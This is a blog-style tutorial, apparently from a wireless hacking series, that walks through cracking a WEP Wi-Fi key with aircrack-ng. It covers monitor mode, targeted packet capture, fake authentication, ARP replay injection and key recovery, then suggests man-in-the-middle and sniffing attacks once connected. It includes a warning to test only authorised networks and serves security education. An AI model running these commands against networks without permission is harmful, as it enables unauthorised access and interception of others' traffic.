Cracking WEP – The Easiest Wi-Fi Hack

Introduction

Welcome to the first hands-on cracking tutorial in the Wireless Hacking Series! In this post, we’ll show you how to perform a WEP crack — one of the easiest Wi-Fi hacks that still exists on some outdated networks.

WEP is broken by design. If you ever see it in use, you’ve found a wide-open door.

❓ What is WEP?

WEP (Wired Equivalent Privacy) was the original security protocol for Wi-Fi. It was meant to offer encryption, but it’s:

Based on RC4 stream cipher
Easily crackable in minutes
Vulnerable due to IV (Initialization Vector) reuse
Deprecated since 2004

Yet, some old routers still use it, especially in cafes, hotels, or legacy IoT devices.

🧰 Tools & Requirements

Kali Linux with aircrack-ng suite
USB Wi-Fi adapter in monitor mode
A test network using WEP encryption (e.g., personal lab router)

Step-by-Step: Cracking WEP with Aircrack-ng

1. Enable Monitor Mode

Start monitor mode on your wireless interface:

sudo airmon-ng start wlan0

This will give you a new interface, typically wlan0mon.

2. Scan for WEP Networks

Use airodump-ng to scan for nearby networks:

sudo airodump-ng wlan0mon

Look for networks with “WEP” listed in the encryption column.

Note down:

BSSID (MAC address of the router)
Channel (CH)
ESSID (Network Name)

3. Start Capturing IVs

Start targeting a specific WEP network:

sudo airodump-ng --bssid <BSSID> --channel <CH> -w wep wlan0mon

This captures packets and stores them. The goal: collect as many IVs (Initialization Vectors) as possible.

4. Inject Traffic (Fake Auth + ARP Replay)

Fake Authentication (Optional but helpful):

sudo aireplay-ng -1 0 -a <BSSID> wlan0mon

ARP Replay Attack:

sudo aireplay-ng -3 -b <BSSID> wlan0mon

This replays ARP requests to generate traffic, helping you collect IVs faster.

5. Crack the WEP Key

Once you’ve collected 5,000 to 20,000 IVs, use Aircrack to start cracking:

aircrack-ng wep-01.cap

Aircrack will try different combinations until it discovers the correct key.

🎉 Success!

If successful, you’ll see output like:

KEY FOUND! [ 12:34:56:78:90 ]

What You Can Do After the Crack

Connect to the Wi-Fi network using the cracked WEP key
Perform man-in-the-middle or sniffing attacks
Demonstrate the insecurity of WEP to stakeholders

Legal Warning

Only test WEP cracking on networks you own or have explicit permission to test. This is an educational and ethical hacking exercise — misuse can result in serious legal consequences.

Wrapping Up

Cracking WEP is one of the easiest wireless exploits — and a perfect starting point to understand encryption weaknesses.

Next up:
🔑 Part 7 – Cracking WPA/WPA2 Handshakes with Aircrack-ng

We’ll capture WPA2 handshakes and start breaking real-world passwords using wordlists.